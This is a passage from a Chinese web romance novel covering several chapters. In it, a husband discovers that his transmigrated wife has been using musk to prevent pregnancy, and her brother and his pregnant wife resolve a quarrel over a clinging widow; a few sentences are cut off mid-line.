只是等到姜大夫离开书房,他在屋中原地站立了良久。
姜大夫问诊的结果,让他觉得有趣。
他记宓瑶癸水来潮时血液颜色乌红,虽然没有经验不懂,但从色泽和来量上他隐隐觉着她身体没那么康健。
加上他去接虞少阳夫妻回萧府后,濮青提及她偶有一日腹痛到脸色苍白,在庭院里散步突然走不动道。
因为怕自个物件真大到能给宓瑶带来伤害,他便起了找个大夫给她看一看的心思,正巧碰上虞少阳找大夫,让他对宓瑶莫名其妙升起的关心有了妥善解决的方法。
谁知宓瑶会给他那么一个惊喜。
姜大夫说是有人给宓瑶下药,但他根本不信。
他心中不止一次暗骂过宓瑶愚蠢,可他也清楚的知道,她不止不蠢,还有自个的生存之道。
没有人能逼她服用那么大量的麝香,除了她自己。
所以说他以为勾引他的媚香,不过是她不愿生育他子嗣的手段。
可真是好得很啊。
从安静的站立到坐立难安,等到对上宓瑶茫然无辜的眼眸,萧欻才意识到暴躁的情绪控制了他的腿脚,让他从书房循着宓瑶身上散发的恶心气味,一路准确无误直冲冲地找到了她。
“萧郎这是怎么?如此气势汹汹地过来,难不成你也有什么好友遗孀找上门需要眷顾?”
触到萧欻暗色涌动的深邃眼眸,宓瑶开玩笑调侃道。
第43章 第四十三章【VIP】
“不是被你赶走了?”
萧欻语调淡淡,眼中的幽深随着开口慢慢平静淡去。
“嗯?”
宓瑶杏眸划过迷茫,还在想难不成秋娘那么有本事,不止跟虞少阳有关,还与萧欻有瓜葛,就听萧欻开口:“潘氏。”
萧欻提醒,宓瑶才想起还有那么一个人。
他一说,她发现潘氏和秋娘真有几分相似,都有一个丑儿子不说,做戏的姿态也差不离。
她刚见到潘氏时,潘氏对萧欻也是未语泪三分,一副若是再没人拯救她,她便要枯萎的模样。
看出潘氏有与她竞争上岗的心思,她自然是火力十足,张嘴就没一句好听的。
而面对她的不客气,潘氏有心让萧欻怜香惜玉,可惜萧欻没那根神经,或是没看中潘氏不想接招。
反正潘氏只能讪讪换了路数,火速跟马家切割了关系,抛掉了马虎那个看着就没出息的儿子,借着赵天赫义女的身份去了节度使府寄住。
几次宴会跟潘氏相遇,她没看出潘氏有没有放弃对萧欻的兴趣,但潘氏至少没再凑到她面前啰嗦。
“所以说男子的态度若是够明确,就是为自个夫人省事。”
宓瑶突然冒出了那么一句,还颇为赞叹地看着他,像是在表达对她的满意,触到她的眸光萧欻眉心皱起丝丝浅痕:“什么意思?”
“就是我阿兄呗,今日有个娘子来找寻他和嫂子,说是阿兄同窗的遗孀,人一见到嫂子就一个劲的哭,话里话外暗示我嫂子唆使我阿兄抛下她不管,那姿态不晓得还以为她带来的那个丑儿子是我阿兄的血脉。”
萧欻进门时煞气扑面的气势让宓瑶隐隐有些不安。
特别是他在她的装傻下极快变化了态度,更让她有种风雨欲来的预感。
对上萧欻眼底那丝克制压抑,她下意识选择与他唠家常,隐秘地与他示好。
而她说完萧欻的确略怔一瞬,像是不解她与他说这些做什么,片刻“嗯”了一声在她身旁坐下
虽然面色依然漠然,但看样子是要听她说完这事。
“我原本今个出门走累了在屋里休息,听下人说我阿兄回来,才连忙起来看热闹。”
至于热闹,她起来才意识到她总不能跑到夫妻俩的房间里坐着,听到他们聊什么吧。
所以只能在这儿等着。
“郎君觉得我阿兄是那种因为女子掉几滴泪,便心软往自己身上揽麻烦的人吗?”
对上宓瑶询问的眸光,萧欻唇瓣轻抿了下。
仿佛从他问她要了“赔罪”后,两人的关系比起以往就亲密了许多,因为萧柔的事他主动开口问了她的想法,如今她也会开口与他讨论身边的琐碎。
顿了片刻,他回道:“若是虞郎中优柔寡断,他调职的地方不该是益州。”
优柔寡断与原则性强是两回事,虞少阳在上京官场被边缘化,是他不愿助纣为虐,为了利益违背道德良知,但这不代表他在处理事务上手段软弱没有主见。
他去接虞少阳夫妻,把夫妻俩留在萧府居住,也有探虞少阳底子的意思。
在这几天的观察里,他知晓虞少阳重感情,而恰是因为重感情,他更分得清亲疏远近,不会为了外头的女人昏头。
“对吧,在我眼中阿兄善良,却不是愚善,旁观者能看清楚的东西,我嫂子却看不明白,反而怕自个展现对外人的厌恶,让阿兄不喜。”
宓瑶皱了皱鼻子,“明明感情那么好,却对彼此都闭着嘴巴,不愿叫对方晓得自个的心思。”
闻言,萧欻目光深了一寸,猜想宓瑶是不是察觉到什么在暗示他。
不等他细想,萧善他们来了膳厅,绕着宓瑶说话,没等他们停歇,虞少阳夫妻也来了。
夫妻俩脸上都带着笑,但相比以往,这笑看着有些假。
本来宓瑶觉着两人笑容勉强的事,可能是因为她已经脑补了整个故事,所以看他们不够客观。
但就听到萧良瞧着两人道:“舅舅惹舅母生气了吗?舅母都不瞧舅舅了。”
萧良嗓音稚嫩无邪,随着他的询问,所有人的目光都集中到了夫妻俩身上。
“二郎看错了,你舅舅好好的怎么会惹我生气。”甄婧的身子不方便弯腰,只能半蹲着与萧良说话。
“可是舅母你笑着的样子看着都像快哭了。”
听到二哥那么说,萧善凑到了甄婧的面前,小,亮晶晶的圆眼打量甄婧,,赞同了自家二哥的话。
心苦,甄婧原本不觉得那么委屈,而现在是真的有了几分想哭。
虞少阳扶妻子站起,仔细看她的脸,看得甄婧不自在,拍看错了,人都在呢,你别让孩子
听甄婧那么说,虞少阳也没放下心,怕是甄婧见了秋娘母子觉得可怜,怜悯两人。
一时间头疼更觉得难办起来。
他的夫人怎么就那么好那么善良,显得他想甩掉母子两人的想法太冷酷无情。
触到夫妻俩别扭的氛围,宓瑶朝萧欻抛了个眼色,见萧欻没接住,依然神色淡淡,她便凑到他耳畔,轻声细语道:“你瞧我说得对不对,小孩子都能看出的事情,他们夫妻俩却当局者迷。”
“额也要听!”
萧善余光扫到宓瑶在跟萧欻说悄悄话,瞪大了眼睛,挤到了两人中间。
见状萧良也好奇地看向两人,虽然不像萧善一样挤过去,但脸上挂着好奇与委屈,就像是在说妹妹听得怎么我就听不得了。
“夫妻之间的悄悄话可不能告诉你们。”
宓瑶盘了盘萧善鼓成包子的肉脸,既然人到齐了,就吩咐了厨房上菜。
萧欻起身往餐桌前走动时,不经意抬手摸了一下还有潮湿热气萦绕的耳朵。
这餐饭吃的不算沉闷,大约是怕餐桌上的其他人看出,他们情绪不对,虞少阳和甄婧的话都不少,吃的也不少。
而一餐过后,两人就把面前的菜吃干净了,虞少阳还嚼了一大块姜片,嚼了半晌才发现辛辣,龇牙咧嘴地遮着嘴吐了出来。
瞧着他们食不知味却吃撑了,宓瑶刻意笑了笑。
笑的时候余光感觉到了萧欻在看她,只是她目光追过去,萧欻的视线却没落在她身上。
还真是怪怪的。
“嫂子应该已经与阿兄说了今日的事,因为嫌那妇人哭哭啼啼没福气,我就没让人进门,兄长不会生我的气吧?”
“怎么会生你的气,秋娘本就不是你与妹夫的客人,自然不能往萧家请。”
知道了宓瑶的强势,他甚至心中舒爽,恨不得她对秋娘母子多说几句这般的话,只是怕夫人误会妹妹,为妹妹说了许久的好话。
吃完饭见无法再拖,虞少阳就道:“我去客栈一趟,母子俩离乡背土过来,应当有许多不便的地方,我去看看能不能帮把手。”
听到他要去见秋娘,甄婧面上略紧绷了下,但开口却是:“他们母子俩过来不容易,夫君能帮的便多帮帮他们。”
虞少阳应了声,片刻就离萧府出门去见秋娘。
“舅舅那么急是去见谁?是很重要的人吗?”
萧良瞧着虞少阳的背影,舍不得道。
这几日用完膳,虞少阳都会陪他们散步,他都习惯了,所以见舅舅急冲冲的离开,他立刻觉得少了些什么,散步都不想散了。
听到萧良的话,甄婧面色一僵,没了散步的兴致,直接找了个借口回房休息。
散步的人数锐减,萧善快速地抱住了宓瑶的腿,怕她也跑了。
“放心吧,我陪你们。”
宓瑶耸了耸肩,她因为琢磨萧欻倏然的变化,吃饭的时候有几分心不在焉,所以也吃多了。
萧欻不同他们一起,不过他书房的路与去花园的路是一条道,几人一齐走了一段回廊,到要分开时,萧欻脚步没有立刻转向,而是瞧着宓瑶道:“既有误会,他们为何不说清?”
“因为关心则乱,夫妻本该是最亲密最了解彼此的人,但有时候往往越在意越会让人失去本该有的理智判断。”
宓瑶的话让萧欻眼眸眯了眯,越发觉着她是知道了,所以在点醒他。
但这就是个悖论,若是她是被人下药,她便不会知道他在怀疑她什么,而她要是能揣摩出他知道了她的秘密,那她就知道麝香的事。
既是自个给自个下药,她又打算如何开脱?
宁愿毁了身体也不愿孕育他的子嗣,难不成她还能说她是因为关心则乱,越在意才越失去本该有的理智判断?
萧欻面上浮上一丝讥讽,转身朝书房走去。
瞧着萧欻的背影,宓瑶直觉一定发生了什么事,而且这事还是与她有关的。
可不知道萧欻为什么压抑着不说。
要是他能压抑好就算了,他一副随时爆发边缘的模样,让她没办法无视他,只能多注意他几分。
她猜不到,便看向了敏锐的萧良:“你方才瞧你阿爹,有没有看出他与寻常有什么不同?”
“阿爹与以往没什么不同,看着都像随时要生气的样子。”
萧良才正经八百地分析完就被萧翼扯了衣裳:“别如此说阿爹。”
闻言,萧良改了说法:“阿爹与以往不一样,他方才看着更凶了!”
萧翼:……
他不懂为何弟弟性格开朗后会变成这个样子。
一日比一日欠揍,他真怕有朝一日他会忍不住动手。
*
虞少阳踏进秋娘母子俩住宿的客舍前,深吸了两口气,才叫了小二去叫人。
从兜里掏了些银钱,他问掌柜借了后院。
“郎君不如去雅间说话,后院来来往往,不够清净,实在不是说话叙旧的地方。”
“不必,这二位是我友人的家眷,我与他们并不熟悉,只是想问问他们来此地为何,男女有别,不好单独叙话。”
虞少阳一说,掌柜面色有了些变化。
秋娘母子是官宅的仆人带来落脚,见秋娘眼泪涟涟,掌柜就让自家娘子去安抚了几句。
他没想探听什么消息,但秋娘却是个藏不住话的,一边哭就边说了她是带孩子来投奔孩子当做爹的叔父。
说这位叔父早把他们母子当做一家人,对他们如何的好,若不是这位叔父的妻子对他们有什么误会,他们早就住在了同一屋檐下。
掌柜娘子听出秋娘是说她与一个当官的郎君有了首尾,但郎君的娘子容不得她,她不愿被抛到上京便带着孩子来这里继续抢人夫君。
掌柜娘子听完面上安慰她,一离开她屋子便扯了掌柜的耳朵,让掌柜离这般心思不正的寡妇远点。
“听那娘子说的,还以为郎君你与她是一家呢。”
掌柜瞧着虞少阳脸上的厌烦与避嫌不似作伪,提醒了一句。
“我与他们没任何关系。”
秋娘带儿子过来,恰好听到了虞少阳说这话,脸上的表情一僵,旋即当做没听见般走到虞少阳面前:“虞大哥,我们终于寻到你了,雄儿这一路连梦中都哭着唤你,你瞧瞧他都瘦成了什么模样,我可真是没用对不起他死去的爹……”
“叔父,我好想念你,往后我们都别分开好不好。”
秋娘话说完,梁小郎就抱住了虞少阳,与他娘一同哭哭啼啼地看着他。
对梁小郎虞少阳稍微有些耐心,这毕竟是他好友唯一的血脉,但一看到他与秋娘有两分相似的五官,他就喜欢不起来。
旁人觉得他心善,在好友去世后,把好友的家人当做自家亲人照顾,实际上他是一肚子怨气。
好友的父母白发人送黑发人,他多照顾两分无事,但好友遗孀怎么也轮不到他这个外人看顾。
可偏偏秋娘看不懂眼色不识趣,一而再再而三登门,哪怕有梁小郎夹在中间,他也早就想冷漠以待,让他们母子俩少打搅他与他夫人。
但他夫人是个顶顶善良的人,他与甄婧成亲前一共见了三次面。
一次是见到她瞧见断了腿的狸奴,不嫌狸奴身上脏污,到处找医者给上药。
第二次是在寺庙外头,见她把落地的雏鸟捡起来登高放回鸟窝,见母鸟不识雏鸟身上的气味,又要把雏鸟往窝外丢,她就捧着鸟儿自个饲养。
嘴里还念叨着鸟儿别怕,往后就把她当娘。
他觉得好笑又动心,偷偷去打听了甄婧是哪家的小娘子。
甄家清贵,若是虞家最鼎盛时倒也能与之相配,但虞家已经日渐颓势,他在官场也没混出个名堂。
加上还打听到甄婧母亲早给甄婧挑选了相配的表兄,他就歇下了心思。
直到他们第三次遇见,他至今还清晰的记得那天,上京的花灯节,朱雀大街人潮如织,她手上拿了一盏牡丹灯盏,面上明媚的笑容比万千灯火还漂亮璀璨。
他一眼就看到了她,并且下定了决心,哪怕不成他也要去她家诚心求娶,若是不试试他会后悔一生。
而后周围就乱了起来,有偷儿偷盗不成,拿了尖刀要明抢,人群乱做一团,他上前护住了要被偷儿伤害的小娘子,在偷儿跑后又硬是追到了人,把他偷拿甄婧的荷包追了回来。
握着艾绿色绣荷花的清雅荷包,虞少阳亲手交还给了甄婧。
然后他就听到了甄婧柔声道,他是她见过最善良最英勇的郎君。
他当时还有理智约束,才没有说她是他见过最善良最温柔的娘子。
为着维护在夫人眼里的形象,虞少阳才一而再再而三的忍受秋娘母子,原本以为离开上京终于能甩开他们,谁想到他们竟然跟来了益州。
这一路他带着仆人,作为男人都觉得长途不易,秋娘带个幼童都能过来,这般的本事还需要依赖什么人,她自个分明就能为自个挡风遮雨。
不知道他们有什么好哭,要哭也该是他这个甩不掉他们母子俩的倒霉鬼哭。
第44章 第四十四章【VIP】
宓瑶散步的主旨是重在参与,走了几步看了看树木湖水,她就甩下萝卜头们去了甄婧的院子。
进门见甄婧站起来迎接她时面上还挂着没散开的沉思,宓瑶直接开口:“嫂子这是因为阿兄去见秋娘觉得苦闷,还是已经把愤怒化作动力正在想如何把秋娘弄走?”
宓瑶的话让甄婧瞪圆了眼,她先往外看了眼,没见着虞少阳回来才安下心。
“若是没见到嫮嫮你对秋娘的不留情面,这次我便忍了。”
可见过了秋娘被吓的连哭都不敢哭,母子二人捂着嘴的怂样,一切都变得难以忍受了起来。
甄婧本想瞒着宓瑶,毕竟宓瑶是虞少阳的亲妹妹,不是她的妹妹,若是两人的对话被宓瑶传给了虞少阳知晓吃亏的是她。
但对上宓瑶理所应当的询问,她一肚子的话都找到了出口。
委婉地说了虞少阳对自己的误解,甄婧叹气道:“我虽然没夫君想的那么良善,但也不是恶人,开始时我同情秋娘母子,可发现他们那些心思后,我哪里还同情的起来。”
宓瑶一照面就能发现梁小郎的称呼有问题,她怎么能发现不了。
在上京时觉得秋娘没安好心,她还能躲一躲,或者暗示梁家长辈约束母子两人,但人跟到了益州,就是打定主意要死死黏在他们夫妻身上。
“我现在回想秋娘说高兴我怀孕,就觉得她是打心里在诅咒我,若是没我这个阻碍,她那些心思就更有了成真的可能。”
想到这点,她就更不愿秋娘母子在她身上占什么便宜,哪怕让虞少阳发现她不同他想的那么好,她也得把母子俩弄回上京。
“相比于大着肚子还操心这些黏上来的莺莺燕燕,嫂子不如把自个的想法与阿兄说清楚。”
听到甄婧打算让身边的奶嬷嬷去寻人恐吓母子俩,把两人吓走。
宓瑶听着麻烦,寻到靠谱的人还好,若是不靠谱的人,这母子俩不知道还要在益州逗留多久。
“我们出去瞧瞧阿兄是如何对那母子俩。”
说完,见甄婧纠结,宓瑶笑道:“嫂嫂觉得我阿兄是蠢人吗?若是不蠢就能看出母子俩的心思,而看得出他们的心思还温柔以待,这般的温柔到底是善良,还是想安置外室。”
宓瑶一语惊醒梦中人,甄婧眼中的纠结立刻变化成了怒气。
若说秋娘以往的行为还算隐蔽,但人都跟到益州来了,就是蠢人都能品出三分意思。
这会儿甄婧也不想什么被虞少阳发现她没那么体贴柔顺,而是气冲冲地要去秋娘落脚的客栈,想看看虞少阳对母子俩是什么态度。
“若是他只是怜悯好友遗孤,没有做什么过界的事,说什么过界的话,秋娘母子怎么会如此缠着我们。”
甄婧一直觉着自己嫁给虞少阳是嫁给了一个顶好的郎君,但最近她发现他的问题不少,比如肾这个事,她满是疑惑却又怕破坏他眼中她的形象,不好意思跟他探讨。
“嗯,苍蝇不叮无缝的蛋。”
宓瑶嫌事不大,在旁煽风点火。
等到地方,甄婧怕进客栈看到什么不想看的,先摸着自个肚子安抚:“宝儿你先闭着眼睛遮住耳朵,待娘亲收拾了贱人,再与你说话唱曲。”
“嫂子放心,我让人把姜大夫也带来了,就在后面的车上。”
她原本以为按着甄婧见秋娘时不舒服的程度,虞少阳回府后,甄婧就会与他说清楚,谁知道夫妻俩喜欢彼此喜欢到这种程度,宁愿忍着憋屈也怕说错了什么话让对方不高兴。
多了她陪这遭。
“娘子,嫮嫮你们怎么来了。”
还没等甄婧进客舍找人,就听着了虞少阳带着喜气的声响。
见虞少阳笑逐颜开,甄婧心口一紧,有了不祥的预感。
若是以往她不会多想,但有了宓瑶那句苍蝇不叮无缝的蛋,她不禁想他那么高兴是不是因为占到了便宜。
上前她就朝他肩上狠狠扇了一掌。
“你忘了成亲那日你是如何答应我的?”
平白挨了妻子恶狠狠的打,虞少阳面上的轻松变成了茫然无措:“答应了什么?”
他小心翼翼的询问换来了甄婧含泪的又一巴掌,这回甄婧直接扇在了他的脸上:“你连承诺过什么都忘了!我就想为何梁大郎的好友那么多,梁秋氏偏偏只缠你不缠别人,现在看来一定是你暗示了她什么。”
虞少阳被甄婧这巴掌扇懵了,还没等他问什么,就见甄婧转身就走,嘴里说着要收拾东西回甄家。
他吓了一跳,不,而是去拦她。
“我怎么可能暗示她什么,我躲她还来不及,我也想过
虞少阳表情委屈,“事,可怜二老失孤,对二老多有照顾,她觉着我看着好打交道,二是咱们夫妻俩是独居,没有长辈看着,她们打交道,就
话赶话说到这里,虞少阳话落音,夫妻俩呆愣地看向对方,同时发现了一个问题。
——?
“我以为娘子你可怜他们,你还许了梁小郎叫你大娘?”
虞少阳眸光呆滞地说道。
“我会忍着他们,不是因为我耐着性子跟梁小郎说话,你便满脸感动,拉着我的手回忆往昔,说记得第一次见我时,便觉得我是这世上最善良的女子。”
说着甄婧眼中的泪意转成了熊熊的怒火,巴掌都打了,她就是这个性子,没什么好瞒的,“现在想想,你常夸我温柔善良,说第一眼瞧见我,就一见钟情想把我娶回家,是不是故意说的谎话,你这般说我就不好跟你发脾气,只能保持温柔,而你就好在外面胡来,养什么秋娘冬娘。”
甄婧在闺阁时虽算不上暴脾气,但也与温柔挂不上勾,刚与虞少阳相识时,她看上了虞少阳,自然就想装装小娘子的矜持与柔顺。
本以为装一阵子,两人熟悉就好了,谁知道根本就装不完了。
而装不完的原因就是因为虞少阳没事就夸她贤淑。
原先她想是虞少阳太喜欢她,才看她哪哪都好,为了他这份喜欢,她也要一*直装下去,但现在一想,这些完全都是禁锢她让她日子越过越憋屈的枷锁。
一想,甄婧又是一巴掌,既然都要回娘家了,她一定要把她所有的怒气全都打出来。
虞少阳疼得痛呼捂脸:“娘子,你怀着孕别动那么大的气……”
“我会动气是因为什么?还不是因为你!”
甄婧捂着胸口边喘气边瞪着虞少阳,“你不记得你新婚时与我说了什么,我告诉你,你说你不重色欲与你伯父、父亲不同,你不会纳妾,现在看来你的确不纳妾,你只是跟寡妇纠缠不清,想安置外室,你倒是说说她孤儿寡母怎么来的益州,是不是你派人送来的!?”
“夫人我冤枉啊!我就是疯了也不会跟梁秋氏纠缠不清,我嫌她烦还来不及,我一直没赶他们母子,只是怕你觉着我心狠……”
虞少阳越说声音越小,谁想到甄婧只觉得他心不狠,还怀疑他跟秋娘有了首尾。
早知道这样,他就不会给母子俩有来益州的机会。
“他们明日就会走了,我方才威胁秋娘,若是她不走,我便找人把母子俩提脚卖了。”
虞少阳有气无力地说道。
他独自过来不要甄婧跟着,就是为了方便放狠话,他烦死这母子俩了,就像是宓瑶说的那般,梁小郎长得完全算的上丑孩子那一类。
谁想被一个跟自己没有血脉关系的丑孩子抱着大腿,说什么把他当做爹。
他跟梁大郎的情分,用在梁家二老身上就可,若是梁小郎由二老抚养,往后他会关照一二,但他跟着秋娘,那他就没了怜悯的想法。
虞少阳说完见甄婧面露怀疑,明显不信他说的话,虞少阳无奈道:“我自然记得我们新婚时说的每句话,但洞房那日我们说的太多,我询问你是不知道你提的是哪句。”
说着,虞少阳看了眼在旁的宓瑶,还有她的侍女们。
夫妻间的私密话,许多都是不能当着外人说的,哪怕妹妹不是外人。
“你威胁他们,他们就能走?”
甄婧过了气劲,看着虞少阳脸上的巴掌印,心中觉得爽快的同时又有些后悔,怎么当街就打了起来,怎么也该私下泄愤。
“我会派人押着他们上船离开,若是中途他们耍什么花招,就直接打晕了扔回去。”
他来见秋娘母子前问了发生在萧府门前的冲突,晓得母子俩咄咄逼人,不管梁小郎嘴中的话是谁教的,他都记在了心上。
所以方才在客舍里他直接甩开了梁小郎抱着他的腿,道他小小年纪,满脑子恶毒心思,这般的孩子走在路上他都不会多瞧一眼,怎么会想念。
秋娘哭哭啼啼开口前,他就说了她不守妇道,家在上京却跑到益州纠缠陌生男子,他要去信问问梁秋两家的族里,有妇如此该如何处置。
“我本打算去后院再跟他们说这些,免得你心软来看望两人,从掌柜嘴里知晓什么,但一见到他们我就觉得着烦,特别是梁秋氏动不动就哭,明明占了我们家的便宜,还一副委屈模样,若不是看在梁家的份上,她能平安过来,不该能平安回去。”
他是最近才看出了秋娘的心思,他不为自己有女人缘而庆幸,而是觉得恶心,“娘子我错了,若是打我能顺气,你只管打就是,是我被他们母子俩的话误导,早知娘子你厌恶他们母子俩,我早就想法子让他们消失。”
见虞少阳挂着巴掌印的脸上只有委屈和懊悔,没有被当众打巴掌的愤怒,甄婧信了他的话。
只是信了他的话,她心中依然不舒爽。
有种气出了一半剩下一半卡在肚子里的不痛快。
“这事是误会,但你是不是骗了我其他事,你说不重色不纳妾,是不是因为你肾不好?”
虞少阳一愣,这还是他第一次听到她娘子跟他谈及肾这个问题,扫了眼她凸起的肚子,若是他肾有什么毛病,她又怎么会有孕。
“这……”
“你当我是什么都不懂的小娘子,你说萧镇使肾好不是件好事,那不就代表因为你的不好所以嫉妒人家太好。”
在旁的宓瑶眨了眨眼,没想到男主不在场,都能成为夫妻争吵中男性优质的标杆。
作者是不是太给他脸了?
第45章 第四十五章【VIP】
夫妻俩解开了误会,宓瑶没再关心甄婧私下又掌掴了虞少阳几次,反正看虞少阳的样子没什么怨言,反倒喜欢甄婧这般说打就打,觉得甄婧是爱深了他才大变模样。
他们的事了了,宓瑶闲着没事,就去把白日没看的铺子看了一眼。
两个铺子在同一个市坊,没挨在一块但都是好位置。
这会都快到戌时,市坊依然人潮如织,除却萧家两个空铺子关着,其他店铺都亮起了灯笼烛火,依然在做生意。
“这店空在这里太可惜,我跟乌账房打听,这店铺原本是租了出去,只是租了店铺这家人做生意缺斤少两,还打着镇使的招牌招摇撞骗,让镇使知道干脆把铺子收了不再出租。”
一到铺子门口,霜华就精神了起来。
刚刚瞧甄婧扇虞少阳巴掌有趣,但也就那般,又不是她动手来打,没有任何成就感,而帮主子管理铺面赚银子就不同了。
“以前奴婢觉得做管事好,但不知做管事具体是哪里好,直到夫人你信任奴婢,让奴婢开始管事,奴婢才晓得手中有权是什么滋味。”
霜华感叹地说道,原本她还担心她没本事,做不好这个管事让主子失望,但接手后她开始会战战兢兢怕做错事,到现在已经游刃有余。
游刃有余后,她不免有了空闲的时问,宓瑶是主子可以享受闲暇,而她一闲下来就忍不住给自己找事做,虞琇同她想的一样,所以两人一齐开始思考有什么对主子有利。
就乌账房那里翻出了这两个铺子。
铺子是节度使送的,不可能卖了了事,所以一直白放在这里。
“之前铺子不对外租赁,是因为府中没人来管理这事,奴婢问了乌账房许久,晓得租赁铺面没有那么麻烦,主要是要有人空的出手定期查看,夫人放心,奴婢有信心做好这件事。”
在她看来管理铺子的租赁只是练手,萧家是新贵,所以不像虞家那般有底子,公中不止有铺子租赁经营,乡下还有几个庄子出息。
但随着萧家的小主子们长大,这些东西迟早会置办起来,既是如此,比起到时候她才匆忙去学,还不如现在就开始练习。
听出了霜华的豪情壮志,宓瑶情不自禁地为她鼓起了掌。
她之前听霜华和虞琇提起铺子没什么感觉,意识到光是花银子无趣,还是得手上有点东西,才顺道问萧欻要了铺子。
谁想到她只是当做添头的东西,霜华已经规划到了从浅至深,如何从铺子,管到她往后可能会买的庄子。
这般的事业心,若是不买个庄子,她都觉得对不起她。
她现在躺了,但能理解有些人就是越干活越精神,越能找到存在的意义。
不止霜华,她最近瞧虞琇也是,相比与跟着她,计较她是不是对萧善他们越来越好,而是心都扑在了调教下人上。
她们这般,她倒是对这两个铺子有了更好的想法。
“这铺子地段再好,租出去也赚不了多少银子,银子不多,我也不可能给你这个巡视的管事加多少月钱,但这铺子是自营,你可以管理的东西便更多了,而铺子赚的银子多,我可以按着赚了多少给你奖励。”
听到主子的话,霜华第一反应是要表忠心,说自个不是为了增加月钱,但脑子琢磨过来,她就开始心动。
相比巡店这个店铺由府里自个经营,赚的要更多,而且她能学到的东西也更多。
至于奖励,谁能拒绝做对事情后的奖赏。
“可是夫人,咱们自个经营的话铺子该做什么生意?”
“这就是你与琇儿该想的了。你们可以看看铺子周围都是做什么生意,做什么赚钱做什么不赚钱,去铺子的客人是男人还是女人,东西他们进货售卖还是自产自销,又是如何定价,弄清楚了这些,可以多选几种经营类型,你们就来找我谈。”
“奴婢懂了,夫人放心,奴婢与姨娘子仔细商量,不会辜负夫人的信任。”
宓瑶点头,觉着她们这般热血沸腾,少不得能赚钱,哪怕运气不好跌跟头了,这铺子原本放在这儿一毛不赚,也亏不到哪里去。
与霜华说好,宓瑶闹市逛了圈,买了几样有兴趣的食物当夜宵,给萧善他们带了几个竹编的蚂蚱当礼物,才姗姗回府。
到了府邸,听说虞少阳与甄婧一回府就关了门,伺候的下人时不时能听到两人笑声,看来是和好的很彻底。
只是他们的问题张嘴就行,而她了。
洗漱完换了睡觉的中衣,宓,就知道他还在不对劲。
在视而不见和勇敢面对中,宓瑶选了一会,决定跟甄婧学习,若是错不在她,而是萧欻误会了什么,说不定大晚上她还能拍他几个巴掌玩。
“阿兄与嫂子的事没能让郎君引以什么疑惑,为什么不直接张嘴问我,而是对我冷脸。”
宓瑶捧着脸,
“是你与萧善学,还是她学了你。”
见着她的情态,萧欻想到这两天也见萧善摆过一模一样的姿态,捧着脸,干净清澈的眼眸委屈巴巴,瞧着像是有泪,但仔细看却是眼眸太大太亮,有光投入,显得波光粼粼。
宓瑶眨巴眼睛:“不管谁学了谁,能让萧郎心软消气就好。”
随着萧欻走近,宓瑶坐在榻上的身体往前伸,抱住了萧欻的胳膊。
但因为距离还是有点远,她身体悬空太多,要是萧欻往后退她铁定会跌下床。
为了稳住身体,她紧紧扒着萧欻,仰着头看他,“萧郎你再不把我抱进怀里,我就要摔了。”
“摔了与我有什么干系。”
话是那么说,萧欻没有退后,而是往前,双手钳着她的腰,把她放回了榻上。
“为何用麝香避子,是觉得清白没办法保留,所以宁愿命短也不要生下拥有我血脉的子嗣?”
萧欻语调淡淡,比起方才的冷硬,他的情绪像是缓和了许多,但说出的话却没法子让气氛随着他的神态缓和下来。
宓瑶怔了下,终于明白了他这半天一副风雨欲来的阴霾都是什么原因。
她没有立即开口,萧欻低眸看着她马上下意识无辜装傻的神色,扯着嘴角又接着道:“你阿兄与嫂子是因为误会对方品德高尚无瑕,所以谁都没张嘴说明心中的想法,虞氏,你要编什么话,来让我们也同他们一样?”
“我还没说,郎君就已经认为我是编了,那我还有什么好说。”
听到宓瑶如此说,萧欻也没发怒,收回视线去了盥洗。
萧欻一走,宓瑶眉心就蹙了起来,萧欻情绪变化,她是有往姜大夫把脉的事上想,但没想到还真想对了。
她的确在身上用了大量的麝香,这麝香不是与萧欻成了亲才用,而是在虞家时,她知晓原主跟萧欻订了婚事,就开始提前加入平日的熏香里,用来避免以后的麻烦。
不想生子不是因为萧欻,而是她是来度假的,为什么要生孩子?
别说在古代生孩子就是容易出事,再者生了她不能不管,而管了就有了软肋。
萧善他们她是心情好就与他们和谐相处,有感情但可以控制感情的深浅,可自己的孩子,她不确定自个能不能保持理智,会不会生下来之后就把自己不曾拥有过的一切给它。
她想得清楚,只是没想到姜大夫会看出来麝香的用途。
在虞家每个月也会有大夫给她把平安脉,说法永远都是好的,说她正常吃饭后脉搏稳健了不少。
她特意打听,因为麝香需要非常大量的使用才会影响有孕的妇人,所以妨碍子嗣的说法并不普及,喜爱麝香气味把麝香当做熏香的夫人比比皆是。
所以她不觉得自个的行为会被发现,可谁想到就是被发现了,并且萧欻还笃定了她是故意。
躺倒在榻上,宓瑶有几分心烦。
她宁死不认说自己是不知道,能混过这一时。
但停了香料回想萧欻爆发时那些白色汗水,那个量让她觉得她都能一胎八宝。
对萧欻的态度决定了生还是不生孩子,而不是单纯的混过一时。
等到萧欻掀开帐幔上榻,宓瑶已经闭上了眼睛,萧欻见状就知道了她选择当哑巴。
他不开口,她与他讲道理,列例子,让他明白夫妻问有事说事,不要把话藏在心里不说,而他如今开了口,她就做出这副装死的模样。
站在床边,萧欻目光逡巡着宓瑶那张巴掌大的小脸。
相比与她的反应,他其实更不解自己的心思。
刚从姜大夫嘴中知晓她身上诱他上瘾的气味,是让她不会怀上他子嗣的麝香,他觉着难堪气恼,想要把她给拆了。
但见着她人,听到她刻意示好的神色与说话,那股气又奇异地平息了下去。
觉着这事放在她身上又算得上什么大事。
他要是因为这事对她要打要杀,她只会用奇异的目光看向他,询问他为什么会因为这种不值得一提的小事那么怒气冲冲。
的确,他为何要暴跳如雷,他对她最初的要求不过是能老实,能当个不给他添麻烦的花瓶。
起头她吊着他给看不给入,让两人之问多了些波折,如今只是不生子而已,坏的还是她的身体,他气什么。
原本他就厌恶孩童。
她这般反而省了他的事。
掀被躺下,萧欻睡了片刻,冷淡开口:“明日,你搬回你屋里。”
“……嗯。”
闭眼半晌的宓瑶,嘴巴不动应了声。
大约觉得下达指令不足以泄愤,萧欻又道:“你身上的味道我嫌臭。”
宓瑶:……
哪臭了?之前他不是还问她身上是不是涂了媚香,难不成他是专食腐肉的秃鹫,把勾引自个的气味与臭味等同。
第46章 第四十六章【VIP】
翌日宓瑶就搬回了自个屋子,她搬离正房最高兴的就是萧善。
见到萧欻,萧善得意洋洋地做了个大鬼脸:“阿爹坏,被娘亲赶走了!”
嘲笑完她就要跑,可惜没跑几步就被萧欻拎住了后颈:“那么大个人了,谁说你还能与大人一同睡觉。”
